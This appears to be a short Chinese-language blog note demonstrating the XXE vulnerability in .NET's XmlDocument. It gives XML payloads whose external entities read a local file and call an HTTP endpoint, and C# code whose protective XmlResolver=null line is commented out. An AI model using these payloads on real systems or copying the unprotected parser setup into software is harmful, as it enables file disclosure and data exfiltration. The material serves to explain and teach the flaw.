XML解析中的XXE外部实体漏洞

<?xml version="1.0"?>
<!DOCTYPE results [
  <!ENTITY harmless SYSTEM "D:\ZLIMS\install_lims\ReadMe.txt">
]>
<results>
  <result>&harmless;</result>
</results>

XmlDocument doc = new XmlDocument();
            //doc.XmlResolver = null; //禁止外部实体
            doc.Load(@"D:\DevApps\MesMfg\MESDeviceApp\OYRGV\UnitTest\bin\Debug\wx.xml");
            string xml=doc.InnerText;
            //string txt = doc.SelectSingleNode("/note/&user").InnerText;
            Console.Write(xml);

 

解析XML时，会触发实体定义，如替换变量。

<?xml version="1.0"?>
<!DOCTYPE results [
  <!ENTITY harmless SYSTEM "file:///D:/ZLIMS/install_lims/ReadMe.txt">
  <!ENTITY lims SYSTEM "http://localhost:50587/getxml.aspx?xml=testdata">
]>
<results>
  <result>&harmless;</result>
  <result>&lims;</result>
</results>

解析时，会上传数据到指定的远程地址

　　

参考：https://zhuanlan.zhihu.com/p/25990351

http://www.cnblogs.com/oneapm/p/5265709.html